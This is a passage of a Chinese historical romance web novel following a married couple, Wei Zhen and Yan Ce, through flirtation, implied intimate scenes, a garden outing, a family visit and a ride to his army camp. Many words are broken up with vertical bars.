“怎么了?”燕策抬手把外袍搭在黄花梨架子上,上身仍穿着件里衣。 质地亲|肤的黑色料子,裁剪极其修|身, 甚至称得上|紧|身。 不仅不显文弱,反而完完全全把他优越的身量显|现出来了。 随着抬手的动作,背上肌|肉|绷|出|精|壮的线条,手臂修长,力量感很足,肩部平直挺廓,腰部劲|窄清健。 宽肩窄腰对比太|强|烈,漂亮到让她挪不开眼。 他转过身来,又是不一样的好看。 领口的高度很微妙,刚好到|突|起的喉结下方,他脖颈颀长,黑色领口之上还有一截玉白的颈。 卫臻红着脸背过身去不看他了,脑海中却还是那截劲|瘦的腰线。 他平日里穿的外袍都是放量很足的,用革带和护手略微收|束线条后,整个人少年感很强,没想到里边竟然穿得这么 孟|浪。 燕策不觉得这里衣有什么问题,近几日郎君们都在山上狩猎,这般需要长时间骑马,又或者平日里需要奔袭赶路,他就会穿这样的里衣,能|减|震,延|缓疲劳。 且穿这个不会让躯|干在剧|烈打斗之后过于|酸|痛,还对骨节有一定的保护作用。 燕策难得有些猜不透她这个反应的缘由,于是走近了抱着她,轻轻唤她的名字,“翘翘,不喜欢我穿这个吗?” 卫臻没回答是与不是,只问他:“你一直都这样吗?” 燕策应了,“白日里如果要骑马或者打架就穿。” 之前冷,外边还会有一层中衣,再加上他每次回来都先去更衣洗漱,所以她之前大概没看见过他这样穿。 燕策知道卫臻对他的好奇心,远弱于他对她的。 若不是凑巧看见,她也不会主动检查他穿了什么。 低头亲了亲她泛红的耳尖,若早知道她喜欢,就早些给她看了。 痒痒的,卫臻抬手揉了揉耳朵,“干嘛呀。” “不能亲吗?” 卫臻哼哼|唧|唧两下没说出话,眼睫抖得厉害,最终仰着头闭上眼了。 等了几瞬,预想中的吻没落下来,听见他慢悠悠在她耳边笑了声。 不像话,敢在她面前拿乔。 卫臻恼羞成怒刚睁开眼要打他,就被他直接抱上一旁的桌案。 有些高,卫臻慌里慌张,“哗啦”一声,手碰到桌上大大小小的项圈。 燕策低头瞥了一眼桌上的物件,像是铁了心要验证她的脸到底能有多红。 卫臻眼睁睁看着燕策拿起一个黑色皮质项圈, 抬手,“啪”一下,扣在他自己颈间。 “你——” 卫臻眼眸一下子瞪圆了,感觉都不太会说话了。 好像,有什么她自己都从未正视过的喜好,在这一刻突然被彻底|戳|穿。 不知道该骂他还是夸他。 燕策到底把他自己当什么了。 手被他抓着搁在项圈上,卫臻本|能地想要把手撤回来。 他这次也没像往常一样紧紧攥住她手,很快就松开了。 卫臻忽而生出几分微妙的恼意, 他怎么不摁着她的手了。 被瞪了一眼,燕策心领神会,笑着抓住她软|腻的手掌,结结|实|实|摁在自己脖颈上。 卫臻顺着项圈摸索到他上下滑|动的喉结,还有被黑色领口包住的半截颈,料子手|感|摸|上去比她想象的还要好。 扯了一下项圈,他就顺着这股轻飘飘的力|道往前靠了下,随着仰头的动|作,在她跟前|溢|出很轻的一声|喘。 卫臻心里像被蜜蜂蛰了,舌头也是,讲话有些乱: “你又要犯什么浑吠星太小还戴不了,这是给大的狗用的——” 燕策啄|吻|她一下,中止了卫臻慌乱的话语,而后直接问她:“在生气还是喜欢?” 卫臻高坐在桌案上,勉强能和他平视,支支吾吾半天答不上来。 她裙边有一圈漂亮柔|软的杏色小流苏,垂在桌上,被风抖|散,荡|悠|悠的。 “你,你少拿这种东西考验我。” 燕策没再逼问,凑上去亲她唇|瓣,软|甜甜的。 就算卫臻不回应,只是这么乖乖仰着头任他亲,也足够让燕策心底生|出快|意。 趁着她|喘|不动气的时候,他很短|促地问了她几个字。 卫臻双颊红扑扑的,抱着他哼|唧几声,指尖扯住他头发,又松开。 呜呜,她好像被人做局设计了,半点都说不出拒绝的话。 燕策很轻地笑了声,屈身跪在桌案前,杏色小流苏沿着高挺的鼻梁散开。 第33章 两个人都年轻,没个拘束,熬了大半宿,翌日卫臻勉强起来用了早膳,很快又歇下,一直睡到晌午,若不是昨日和女郎们约好了下午逛园子,她定然要继续补觉。 劭山后边有一片园子,花木打理得极好,正挨着用来狩猎的那片林子,中间修了长长的墙把两边隔开,唯有两头开着门供人穿|行。 燕敏牵着吠星跑在前头,卫臻腿脚发懒,沿着石板小路慢悠悠落在最后边。 路上遇见东平郡主,一群人给她行过礼。等郡主走远了,燕敏道:“平东平郡主和嘉祥郡主关系要好,往日里有个什么宴会或者游园,俩人都是一起的,不知怎的这次来劭山没见着嘉祥郡主。” 嘉祥是段青颐的封号,卫臻倏然间又想起昨日传的梁王府上姬妾生事的传言,也不知道与这个有没有关系。 正思索着,前边路上传来一阵马蹄声,抬眼见是燕策并他的两个随从骑马拐过来。 马未完全停住他就翻身下来了,顺手把马鞭和弓弩抛给身后随从。 燕敏对他道:“我也要学这样下马!”燕敏的马术是父亲燕明远教的,他教她勒马停下后趴着慢慢挪下来,这样确实安全,燕敏却觉得动作十分笨重,半点都不洒脱。 “回去教你。”燕策低头看她一眼,很快把视线投向人群最后边的卫臻。 她今日腰间没佩玉,戴了条亮银腰链,细细的,坠垂感很强,衬得腰胯线条格外袅娜柔美。 燕策不动声色地看了好几眼。 等卫臻走近,他动作自然地牵住她手,“怎么走这么慢?” “有人。”卫臻立即就要把手收回来。 燕策微微施|力握|紧|了,没让她挣开,“只是拉个手,怕什么。” 卫臻往前瞧了眼,前边的人都在三三两两同行,各聊各的,没人朝后看,这才同意被他牵着走,她本就腿|软,如此也能省点力。 她腰链两侧各坠着一只小蝴蝶,做得精致小巧,被长长细细的链条拴着,有风拂过会就荡悠着飞起来,多数时候会撞|到燕策腿上。 卫臻注意到了,“你别挨这么近,当心给我把链子上的蝴蝶撞|坏了。” 她话音刚落,那亮闪闪的小蝴蝶银饰就又被他|撞|了一下,银饰映出细碎的光,洒在他肩头,燕策道:“哪儿这么容易撞|坏。” 措辞莫名与几个时辰前的回忆重叠,两人大抵同时意识到这点了,沉默着往前走了几步。 太阳晒在脸上热烘烘的,卫臻晃悠着手臂,主动离他远了半步,欲盖弥彰道:“这个就是要被风吹起来才好看。” 她一身裙衫漂亮轻|软,也像个被风吹起来的小蝴蝶风筝,无论试图离他多远,都被牵着手很快带回来。 一路上有那么几回,卫臻察觉到到燕策像是想凑过来亲她脸,她都假意整理头发躲开了。昨天雨太大,他整张脸都淋了,她眼睁睁看着的,因此暂时有点过不去。 有侍从取了几顶帷帽过来,给女郎们遮阳,燕策随手接过来卫臻的。 卫臻拨开薄绢,从他手中的帷帽底下钻了进去,可他好像不太会戴这个,弄了好几下都没给她戴稳。 “你弄错啦,要把最长的那只簪从这边穿过去。”她伸手给他指指位置。 给她整理完帷帽,燕策忽然隔着外裳轻轻|揉|了一下卫臻的肚子,并不狎|昵,只是顺手碰了下,很短的一瞬。 卫臻却觉得浑身刺挠。 因为只有他知道,她肋部到小|腹一片被桌沿硌红了。 若在平日里,硌|疼|的第一瞬卫臻就该骂他了,可快|意太盛,她自己当时也未曾及时发觉。 卫臻正别扭着,燕策突然屈身撩开绢纱,在她耳边搁下很轻的一句: “我穿了和昨日不一样的里衣。” 他的声音很低,又被绢纱拦住,只有她一个人能听见。 卫臻感觉热气瞬间从园中地面烘上来,燃了她浑身刺挠的点。 忍不住抬手打他一下,用气音凶他: “在外边不要讲这种话!” 两个人说话声音都很轻很轻,但她打他这一下反而结结|实实,用了很|重|的力气。 “啪”一声脆响,周围人的视线被吸引过来。 卫臻立即红着脸快步走了几下,与燕策拉开距离。 她腰间的小蝴蝶,还有身后的发带一齐被风吹动,对着他飘啊飘的。 燕策不紧不慢提步跟上去,轻轻勾住卫臻的发带,继续跟着她往前走,又变成了她的大尾巴。 接下来的一路,卫臻都没再同他讲半句话。 行至一处溪流,水极为清冽,上游被挖了个很小的池子,里边的小鱼像在空中游动,日头把小鱼的影子直接映在水底的石头上。 燕敏见水干净又很浅,就解了吠星的项圈,让它自己去水里玩一会儿。 吠星扑腾几下刨起水来,刨到溪流一个很细小的分支处,就在那趴下,细密厚实的绒毛拦截了水流,成了座小狗大坝。 卫舒云在同燕敏一起用石头打水漂,她们的手都还在裹着,打水漂的时候不太灵活,两个人互相笑话对方。 燕姝带着小元继续朝前边花开得茂盛的地方走去,其余同游的别家女郎也都各自散开闲逛着。 没人注意这边。 风吹开卫臻帷帽上的薄绢,露出她白净小巧的下巴和微微泛红的耳垂。 她突然朝着身旁的燕策支支吾吾,问了没头没尾的一句: “怎么个不一样法?” ** 和昨日的不同之处在于,燕策今日穿的里衣是无袖的。 且,前|胸|以下,隔着里衣,横贯一条黑色皮质绑带,两肩处也各斜斜绑着一样的皮带。 皮带这般绑在里衣外面,可以护住肩背,或者藏一些小的匕首暗器,也能在攀爬高而陡的城墙山崖时把绳子挂在上面。 燕策自觉这是很基础的款式,裁剪并没有什么花样,但她好像喜欢。 卫臻确实有那么一点点点点喜欢。 他肤色在男子里算白的,冷白的手臂和肩膀露|在外面,中间是黑色的紧|身里衣,对比很|强烈,显得肩膀更宽了。 肩上还留着她昨天给他划出来的印子。 皮质绑带把他的轮廓线条淬炼得更为峻拔英挺,很适合被她在无依靠时扯|住。 领口高度与昨日的一致,到喉结处,卫臻觉得这个高度的领口着实很妙。 这种放量少的里衣,如果是低|领的款式就会显得|艳|俗。 高领口在这点上就刚刚好,还可以削弱他身上遒|劲线条带来的攻击性和冷戾。 比昨日的还要好看,卫臻眼睛都不知道该怎么眨。 只觉得有人在她脑袋里泡茶,咕嘟咕嘟冒着热气。 直到一阵风刮过来,眼睫才随着屋里的灯烛颤了颤,“你你不冷吗?你就这么出门给人看吗?谁给你穿的?” 她慌得一连串问了他好几个问题,话都要捋不顺。 燕策把她的慌乱瞧在眼里,唇边溢出笑,捏着她掌心搁在自己手臂上,于是卫臻寻到了第一个答案——他手臂和肩膀很|烫,并不冷。 他继续回答:“只给翘翘看过,我自己穿的。” 这个穿戴并不麻烦,且他平日里起居更衣也不需要旁人侍候。燕策觉得更衣是私|密之事,不愿旁人插手。 卫臻现下整个人思绪都不太灵光,察觉到他倾身靠近,她下意识仰头,两个人的鼻尖很快贴|在一处。 熟悉的清冽气息传来,她唇瓣微微分|开。 马上要亲在一处了,卫臻倏地想起十来个时辰前,他就在这张桌案处亲过,立即用手背在二人中间隔开。 燕策与她额头相|抵,低笑几声,“嫌我还是嫌你自己。” 卫臻打他一下。 他没完没了地追问:“全都不让亲吗?” 卫臻抠了抠桌沿的雕花,又扎进他怀里,小声道:“不喜欢这个桌子。” 不是不让亲。 榻边小几上摆了个天青色撇口瓶,里头插着今日刚剪下来的花枝。不是京里暖棚中培植的花木,是在这山上就地采摘的,枝头坠着一穗穗浅色的花。虽然小,但极可爱,燕策很喜欢。 被子和枕头白日里刚晒过,帐子也是新换的,气息十分好闻,卫臻躺在上边轻飘飘的,像朵云,踩不到实|处,扯过小毯子蒙住脸,毯子也一股子晒过的气息,蓬松又柔|软。燕策怕她憋着,给她挪开了,卫臻就被迫眼睁睁瞧着他,屋内点着一盏明烛,直直望过去晃得她眼睛要睁不开。 帐子落下一半,将屋子分作明暗两色,这边唯有他的唇和鼻尖挂着微弱的薄|光。燕策整张脸都生得好,很浓烈的五官,沾了潮|意后更显得昳丽,卫臻最喜欢他的鼻子,细直挺拔,只是平日里亲吻的时候撞|在脸上有些|疼,但现下凭着记忆寻,她又觉得十分合心意。 山间不比寻常地界,一到晚上就刮起风来。 夜风顺写窗扇缝|隙刮进来,呛得人想咳嗽。 燕策被呛了下。 听见动静,卫臻踢他,被燕策抱住了,他讲没事。他当然没事,有事的是她。 瓶中花枝被风吹得厉害,眼看着要摧|折,只剩下可爱的甜软的花香漂浮在屋内。卫臻惦记着明日要让人多寻几个花瓶,把窗外的花都修剪下插进瓶里。 倏然间传来几下敲门声,燕策知道卫臻被吓到了,也听见她着急忙慌对着门口处扬声扯谎:“别|进|来,六郎睡着了!” 门外侍女应声退下。在卫臻身边的侍女其实都很规矩,根本不会在二人独处时直接进屋内。 她的解释太多余了。 第34章 卫臻捂着脸,又听见属于燕策的笑声,有些闷,且极短促,尾音很快就消失了。 昨夜睡得太晚,她今日无半分容人之心,等他亲完,旁的说什么也不肯,依旧用手挡着,不让他再亲她的脸和唇。 趴在他肩头|喘|吁吁,卫臻缓了一会子道:“我们打个赌,若你输了,就得听我的。” 她声音很|软,像羽毛挠在耳边,燕策摸|了摸上她散掠在腰后的长发,“赌什么?” 卫臻想了想,“我问你话,你要是说出‘白’字,就算输了。” 燕策应下,卫臻就指着外边黄花梨衣架上挂着的帷帽问他:“我帷帽的薄绢是什么色的?” “素色。”他摩挲着她上臂内|侧,把岌岌挂在她肩头的料子一寸寸往下褪。 她手臂这里捏上去丰|腻|绵|柔,手|感很好。 卫臻又抬头望向窗扇明纸上的婆娑树影,“月亮什么色?” “月色。” 卫臻开始有些恼了,挺翘的鼻尖皱了皱,“冬日里落的雪白吗?” “对。”他抬手帮她把脸颊旁汗|湿|的发丝拨到耳后。 “对什么对。”终于,卫臻气得打他一下。 燕策本就没下去,被她打得偏了偏下颌,薄唇微|张|溢|出声喘。 卫臻听见这个动静忙不迭上去捂他的嘴,“你又叫什么!” 把她的手用掌心包住,从脸上挪开,他笑道: “燕策。” 他叫燕策。 卫臻唇角往下耷拉着想生气,耷拉了一瞬又没忍住笑出声,“真烦人。” 俩人正一齐坐在床|榻|上,燕策把她往自己腿上抱,“是你让我回答你问题的,怎么比方才还多了。” 卫臻听了这毫无关联的两句,一下子就把脸颊埋|进毯子里,没再讲话,只给他留下截白|腻的后颈,和红|透|了的耳尖。 燕策哄了好一会儿,她才肯抬起头再看他。卫臻把毯子和里头杏色的布料一齐挪开,就这么在燕策怀里仰着脸问他:“白吗?” 他喉结滚|动,下意识回答:“白。” “你输了。”卫臻得意地戳戳他心口。 燕策把人往怀里|摁,像只大型犬抱着她不松开,嗅她颈窝处的香,“翘翘耍赖。” “我不管,今天就是不——”尾音骤然变成一声闷|泣,说她耍赖,分明是他更胜一筹。 燕策手臂环上卫臻颈间,她脖颈纤瘦,他并没有用太|重|的力|道勒她,卫臻的呼吸就已经乱了。 这样带来的压迫感比平日里站着被他从后面抱住还要强,卫臻无比直观地感受到两个人的身量差距。 夜里的风煽动灯盏内的火苗,把光亮匀匀抹开。 许久,蜡烛燃尽,唯有蜡液顺着高高的烛台往下淌。燕策下颌抵|在她颈窝,呼吸时卫臻被他气息扰得耳朵痒,催他去点灯。 燕策就这般摸黑下去寻了一支新的蜡烛点上,骤然跃|起的光亮让卫臻眼睫眯了眯。 她仍旧像原先那样软|趴|趴的,揪着底下的软枕,燕策顺手端了盏茶回来给她,“凉吗?” 卫臻渴得厉害,把一杯都饮尽了才讲话,“一点点。”这份凉意也刚好让她脸颊没那么烫了。 “凉怎么还喝光了。”他手摸|了摸|她小|腹,像是要给她暖暖。 卫臻以为他又要欺|负人,“你,你还不”直到被他抱着去了净房她才松了口气。 竹帘子落下来,遮隔了曾被她拿来打赌的月光,卫臻裹着燕策的衣裳坐在小杌子上,看他给浴|桶内兑热水。 水添|满了她才缓过劲来同他讲话:“你知道前日梁王妃下山了吗?” 燕策应了,卫臻又瓮声追问:“为的什么事啊,还特意到处散播些乱七八糟的,我总觉得怪怪的。” 水温正合适,燕策动作自然地将她身上黑色外袍搭在一旁,把人抱进桶内。 他没一同洗,就坐在她方才坐着的小杌子上陪着*,“因为段怀山伤重。” 卫臻在水里解|系带的动作一顿,想起前夜他穿着夜行衣出去过,“是你做的吗” “是。” 刚要让他把一旁装着花|露的小瓶拿过来,闻言,卫臻也顾不上什么花|露不花|露的,有些担忧,“那梁王会不会找你的麻烦啊?” “别担心。”燕策不用她说,伸长手臂把花|露拿过来滴在水里,而后用手朝她肩头撩|了一捧水,“快点洗,这个时候别操心,过会儿水就凉了。” 这边浴桶薄一些,热水在里边凉得快。 两三缕湿发顺着细长的颈蜿蜒,堆在她锁骨处的小窝。系带本就松着,被水流冲得快要|散|开,她脸一红,放低了身|子,在水里解|开小|衣,借着水面和浴|桶遮住自己,伸手把小|衣递给他。 从水面探出的一截手臂肌|骨如玉,在灯下闪着很细|腻的光。“你知道梁王妃的名讳吗?年岁几何啊?” 这小杌子他坐着着实太小,膝盖直直抵在浴|桶外壁上,卫臻一伸手,系带就往下耷拉着落在他膝上,滴滴答答打|湿|了膝上布料。 燕策把她小|衣接过来,“这我还真不知道,只知道她祖上是平江辜氏。”有些奇怪她为什么突然好奇这个,但他还是道:“你若想知晓,我明日打听一下。” 卫臻应了,洗了一会子,抬头看他挑着那块杏色的布料一直没搁下,似有所感,“你你不准弄|脏,这件我很喜欢,以后还要穿的。” “怎么脏?”燕策手肘懒懒架在浴|桶边沿,隔着氤|氲缭|绕的热气对上她视线。 “你少犯|浑,我自己的衣裳我心里有数。” 隔三差五就会少一件,也不知道是不是又被他像那条衬裙一样藏起来了, “你最好藏好了,别让我再找到,若找到全给你烧了。” 燕策望着她,把手收回来,身子坐正了,视线缓缓往一旁移。 而后装作很忙的样子把她换下来的衣裳搁在衣篓里,又起身去屏风另一侧洗脸净齿。 卫臻知道,他这是又心虚了。 ** 翌日卫臻醒得很早,今个十五,早上要去韦夫人那边。 洗漱收拾时,燕策动作习惯性放得很轻,卫臻跟在他后面,用气音小声问他;“你怎么跟做贼一样。” 燕策笑了下:“往日里我出门时你都还在睡,习惯了。” “我今日醒得可是比你还早呢!”她瞳仁黝黑湿|亮,说话的神情很是得意。 俩人一同净齿洗脸,谁都没有讲话,偶尔对视一眼,无声交换着情绪。 卫臻用根簪子松松把头发盘在脑后,整个人带着股子懒劲儿,还会把她擦手的香膏匀一些给燕策,让他跟她一齐涂。 燕策并不是个多安分的人,鲜少能从一些琐碎平淡的日常里获得快|意。 现下却觉得,跟她在一处,哪怕就这样什么都不做,也让人高兴。 但做还是要做的。 选今日要穿出门的衣裳时,燕策在卫臻身边来回晃悠,超级经意地让他注意到他的动作。 燕策在戴,腿环。 他里边的衬裤是黑色的,腿生得很长,膝以下是高筒马靴,膝以上,遒劲精壮的大腿上绑着道皮质腿环。腿环用用金属搭扣固定,旁边还绑了两柄线条冷硬的匕首。 马尾高束,穿着身裁剪很得体的骑装,衬得整个人修长落拓,峻拔英挺。腿环被衣摆遮住了,又会在他走动间露出来一点。 “好看吗?”他把她快荡悠到地上的披帛捞起来。 卫臻诚实点点头,又很快仰着脸不去看了,故意拿乔:“尚可。” 燕策笑着说:“那就是好看。” 顺手把披帛搭在她肩头,而后在她身旁的圈椅上坐下,燕策用膝盖隔|着衣裳|蹭|蹭她后腿弯:“好看你为什么不摸。” “我才不是这种随随便便的人。”她也怕一摸就摸出些有的没的。 燕策平日里并不这么穿,他打架喜欢用腿,如果绑着腿环,时不时会露出来,看起来着怪怪的。但是他这两日好像隐隐约约察觉到,卫臻很喜欢他在身上绑这种皮带,每次绑着的时候,她给的反馈就格外多。 卫臻深知,她不是随便的人,可燕策是。 生怕他又突然犯起浑,她当即去妆台前打开好几个装着唇脂的小罐,挑挑选选,装作很忙:“今个可不能晚了,上次去太太那边,还是大姐姐来喊我,我才知道。” 指腹点了抹红,涂在唇瓣上,对着镜子抿抿唇涂匀,又重新换了一对粉玉耳坠,卫臻透过镜子对上燕策视线,“你注意着点,到辰正了喊我。” 很快,燕策就提醒她,“到了。” 其实还有一刻钟。 只是这般告诉她时间紧俏,路上卫臻为了走快一些,就会同意他牵着她手走过去。 吠星跑在二人前头,刚进韦夫人院里就被一只很大的鸟吸引了注意力,这种鸟它还是头一回见。 大鸟冲吠星哈气,一边哈气一边用灰褐色的翅膀扇它,吠星吃了一堑又一堑。 “这鸟怎么跟猫一样会哈气。”燕敏瞧着直乐呵。 韦夫人院里的郝嬷嬷接话道:“就算人打架,也是要吼几声助助威的。” 燕策垂眸对上卫臻视线,幽幽道:“别看我,我打架的时候不叫。” 卫臻很小声贴着他讲悄悄话:“你昨晚被我扇的时候叫了!” 燕策:“” 他正处于对她情窦大开、一直开的状态,她这样随随便便一句话,就能把他拖入一些二人独处时的记忆里。 偏生卫臻把他拖下去后,就提裙走开,过去和燕敏靠在一处了。 第35章 卫臻和燕敏聊了一会子,偷偷回头看燕策。 小元正蹲在他的椅子旁逗吠星玩:“我最喜欢,最喜欢这种小狗。” “它也最喜欢人。”燕策笑了下,随口接话,余光一直在注意卫臻。 卫臻经常跟他抱怨,讲被他压着颈窝时腰很累,眼下燕敏坐没坐相地靠着她,她倒是不嫌累了。 直到上膳时卫臻才回来,燕策看着她走近,自动把腿微微往她那边晃了晃,调整成一个很好|摸的样子。 很遗憾,卫臻坐下后就规规矩矩用早膳,哪怕被他的腿挤得双膝|紧|并着,也并没有把手搭在他腿上。 燕策在桌底用膝盖轻轻晃了一下她的腿。 吓得卫臻咀嚼都停了,夹着块芸豆卷不上不下的,怕被人察觉,她又低下头,装作正常地小口小口吃着。 一桌子人一齐用膳,搞不懂他胆子怎么可以这么大。 担忧了几瞬,卫臻才松了口气,燕策很规矩地没继续乱来,只是用膝盖乱晃,吓她一下。 她低头瞧了眼,他腿环正上方有个金属小环扣,也是用来挂匕首暗器一类物件的。 但是他什么都没往那个环扣上挂,就那么悬着,空着,袒|露|在她眼前。 像是特意留出来,让她把手指|穿过去|摸|他。 又好似,远不止有这么点用处。 用完膳坐在一起话家常,燕敏让燕策把他手边的贡柑给她一个。 贡柑圆滚滚地垒在盘中,色泽橙黄,表皮泛着点红,看起来就很好吃。 燕策拿了两个,一个给燕敏,另一个搁在卫臻手边。 “好甜,这个时节还有贡柑啊。”燕敏感叹道。 郝嬷嬷在一旁侍候着,她道:“一直用石灰裹着存在地窖里,能搁好久,这是最后一批了。” 卫臻看燕敏吃得香甜,也把手边的贡柑捡起来,破开皮尝了一瓣儿,汁水丰盈,甜中带着微微的酸,果肉细腻无渣,舌尖一压就化成了水,确实好吃。 但已经用过早膳,吃了一半她就不想吃了,在桌子底下悄悄掰了一小块,塞给燕策。 等燕策把这一小块吃了,她又塞过去剩下的一块。 燕策低头瞥了一眼,卫臻另一手正轻揉|着自己的肚子,她每次用完膳都会说自己吃太撑了,腰间束带该松一松。可他却总觉得她过于纤瘦平坦,有种可以拓|出他轮廓的错觉。 吃完她给的贡柑,卫臻又塞过来一点,燕策下意识接过来吃了。 他察觉到这次不是贡柑,想看,但是手已经更快一步送入口中了。 像吃了一口木头渣,或是一嘴土,味道还发苦。 燕策最讨厌吃涩口发苦的食物,人前他忍着没吐出来。 朝卫臻那边看了一眼,看见她面前堆着的果壳,知道了她方才给他吃的是香榧,且没有去掉果仁外那层黑衣。 卫臻见这人皱着眉头望向自己,想起他吃不了番梨,不会连香榧也不能吃吧。 往外走的时候,卫臻忍不住扯着燕策的袖子把他拉到一旁:“你方才怎么回事,香榧也吃不了吗?别又吃坏了赖我。” “太苦了。” “就你娇贵,我自己也吃了,哪里就苦了。” 俩人正说着,前边突然传来一阵惊呼声,走近了一看,是吠星跳进泥堆里了。 前两日大风冲毁了几株花木,早上移来几棵重新栽种进去,眼下刚浇过水,土还是湿的,吠星已经在里面滚了好几圈,浑身裹满了泥。 燕敏先前被满身泥点子的吠星蹭过,眼下有经验了:“千万别看它!别发出动静逗它。” 等吠星玩够了从泥堆里跑出来,祝余摘了两片大叶子,把它整个裹起来,准备抱回去洗洗。 吠星被裹得只剩个脑袋露在外面,伸着舌头,哈赤哈赤的,燕敏忍不住逗它,“笑这么高兴啊。” 卫舒云刚过来找燕敏玩,“狗哪有表情。” “当然有,就算是热的时候,狗挨骂也会闭上嘴。” 卫臻又扯了扯燕策的袖口,燕策俯身听她小声讲:“你被我骂的时候都会张着嘴。” 燕策:“” 又来。 他反手抓住她手掌,捏了一下,力|道有些|重。 卫臻觉得要被攥得麻了,而且任凭她怎么挣扎他都不松开。 燕策没在这久呆,很快就牵着卫臻往外走。他步子迈得太大,卫臻有些跟不上,另一手上来掐他:“你走这么快做什么!你该出门了。” 眼瞅着离正门越来越近,卫臻难得认怂:“我错了,不在外边逗你了。” 燕策轻哂:“晚了。” 说完就抱着她上马,扬长而去。 他骑|得太|快|了,卫臻被|颠|得有些|疼,一手在身前抱着自己,另一手紧紧抓着他手臂防止摔下去,心里还担忧着怕这人把她带出去犯浑。 察觉到卫臻的不安,燕策把她抱得更|紧,他的声音被风刮走一半,另一半留在卫臻耳畔:“别怕,摔不了你。” 卫臻没讲话,歪头用脑袋朝他下颌撞了一下。 等燕策勒马停下,就见卫臻板着一张脸,跟她说话也不理人。 把她从马上往下抱的时候,卫臻还趁机踩了他一脚,劲儿不小。 卫臻其实没多生气,但她想好了的,只要她先发制人对燕策发脾气,他就不敢跟她乱来了。 这边的路从近处看没多陡,但整体地势很高,防止意外,燕策想牵着卫臻的手,她不让,他就攥着她袖口。 “你给我攥皱巴了!”下马后对他说的第一句话。 “那你把手给我。” 卫臻不情不愿的,但是四处望了望,还是把手递给他了。 燕策的马在他们身后站着啃路边的草,偶尔一两声温驯的鼻息,二人登高而立,远处苍翠的山峦层层叠叠,银带似的河水从山涧折出来,阳光下粼粼地蜿蜒着,山风拂面,叫人心里舒畅,是和在院里呆着完全不一样的感受。 比苍翠更远的地方卧着城池的轮廓,与城池相反的方向竖着一座山崖,并不是附近最高的,但是形状很奇特,卫臻指着问他:“那座崖叫什么?长得像鹰嘴。” “鹰嘴崖。” “你又糊弄我。”二人的手正牵着,她用力掐他掌心。 燕策吃痛,把她手攥得更紧,声线里裹挟着笑意:“真的,就叫这个名字,不信我一会儿找地志舆图给你看。” 卫臻轻哼一声,勉强信了他的话,“底下的大河是不是就流向那个鹰嘴崖?” 河流消失在密林深处,站在这瞧不出流向。 燕策看她一眼,“翘翘如何知道的。这条河地上部分在前朝经过两次改道,现今流向东北方,而地下部分最大的分支确实流向鹰嘴崖那边了。” “这有什么不知道的,益州多的是山川河流,我从小长在那,若是像这样站得高高的,瞧一眼就知道底下的河怎么个淌法。” 她成日里懒洋洋的,却又会好些这种“小法术”,能闻出来天要不要落雨,还能一眼看出河脉走向,不知道日后会不会有新的法术。燕策轻轻挠了挠她掌心,夸她:“翘翘比军中的斥候还要厉害。” 卫臻绣鞋在地面点了两下,心里轻飘飘的,忘记还要假装跟他生气,“你今日不当值啊。” 燕策应了声,“带你出来转转。” 早就想骑马带她出来了,且别院离虎贲营京郊驻地更近一些,骑快马只要不到半个时辰,想带她过去看看。燕策总觉得,他几乎日日都要去的地方,该留下点她的痕迹。 在山上转了转,燕策就带卫臻去了他在营里休息的帐子,这边离练武的地方有些距离,周围只几个手持长矛站岗的护卫。 卫臻头一回来这种地方,透过帐子缝隙往远处瞧,忽然“哇”了一声。 燕策顺着她的视线望过去,是一群赤|膊的兵卒在|操|练。 “那几个耍枪的身条好看。”若不多看几眼,卫臻总觉得差了点什么。 燕策:“” 不是为了让她看这个。 她无端联想,“你在外面,也那样吗?”像那群人一样赤|膊。 也并非无端,只怪燕策这两日在穿戴上的事小心思太多。 “我只给翘翘看。” 卫臻很快被燕策拉进帐内,“我就这么进|来了啊。” “嗯?”燕策没懂。 “话本里女子去营中都要打扮成郎君的模样,而且要偷偷地。” 他笑道:“没这么多拘束,营中还有女将。” 卫臻在帐内四处看了看,收拾得很干净,陈设十分简单,莫说府中,甚至连劭山别院里的住处都比不上,唯一勉强算得上装饰类的陈设就是个很小的书架,上头摆的也全都是兵书。 “你以前就宿在这里吗?” 燕策点点头,“成婚前经常住在这。”婚后他才开始每日往返于营中和国公府。 拍了拍小榻上整齐叠放着的被褥,卫臻在边沿坐下,又猛地站起来。 不能坐在榻上,总觉得会莫名其妙发生些什么。 燕策刚翻出一本地志,看着她这幅紧张兮兮的样子觉得好笑,在椅子上坐下后,把卫臻往自己腿上拉,给她吃定心丸,“没想旁的事,只带你过来转转。” 这是个危险的位处,卫臻不敢坐,他又道:“外边没人,离这边很远。”她这才犹犹豫豫着面对面坐在他腿上。 这种精细度的地志并不涉及军事机密,在书铺也能买得到,燕策翻开画着周边地貌的那一页给卫臻看,还真叫鹰嘴崖。 燕策开蒙后也有一段很爱看闲书的时候,他一边翻地志,一边给卫臻讲与这些地方相关的奇闻异事,并不全是真的。 京郊城外几十里有座亭桥,底下镇着条渡劫失败的白蛇。 玄妙观第一任观主的两个弟子瞒着师父偷跑下山结为夫妇。 山上的兔子精能化成人形作威作福,倘若被捉住,会哭会讨|饶 燕策正讲着,突然毫无征兆地啄|吻她一下,“吃什么了。” 离得太近了,她唇上的甜香被他很清晰地捕捉到。 卫臻捏捏腰间鼓鼓的小荷包,“方才吃了糖。” 荷包的玉兔纹样绣得很精致,因为装了物件儿在里面,显得圆滚滚,无半分传闻怪志中兔子精的神气模样。 卫臻刚要问他要不要吃,唇瓣就再次被他吻住了,燕策手上的书也掉在地上。 她就知道不能跟他单独呆在屋内。 起初她还能抓着他的|腿|环,后来被他抱得越来越近,整个人都被他摁在怀里,她就没机会抓了。 全然陌生的环境,卫臻心里没个着落,只能依靠着他,一边寻求他的庇护,一边躲他。 两个人的衣裳都穿得齐整,与来时无异,只抱在一处亲|吻|着,他也并没有主动欺负她。只怪,用膳时曾被她注意过的那个金属环扣,刚刚好。 不,不好,半点都不好。 外边的旌旗被风吹动,舞在帐|顶,猎猎地响,投出一片乱乱的影子,卫臻眸中氤|氲着雨雾,潮|意缭|绕,被燕策膝盖察觉到,他觉得自己捉住了山上的兔子精,但他并不发善心,只抱着她恶劣地提醒:“这里没有你可以换的。” 旌旗纷飞的影一层层浅淡,直至被眼睫彻底遮隔。大抵是被燕策的话语震慑住了,卫臻搂|着他的脖颈不住地|抖,唇瓣被他亲得有些|疼,她想咬他又不敢,生怕给他留下印子连累自己。 等到风停,旌旗搁浅在帐|顶|的篷布上,半分都错不开。现下还不到午时,并不耽误回去。 卫臻眼皮薄薄的,透|着层粉,燕策低头亲了亲她:“今日好早,喜欢来外面吗。” 第36章 卫含章应约来了敦化坊一处僻静宅院。 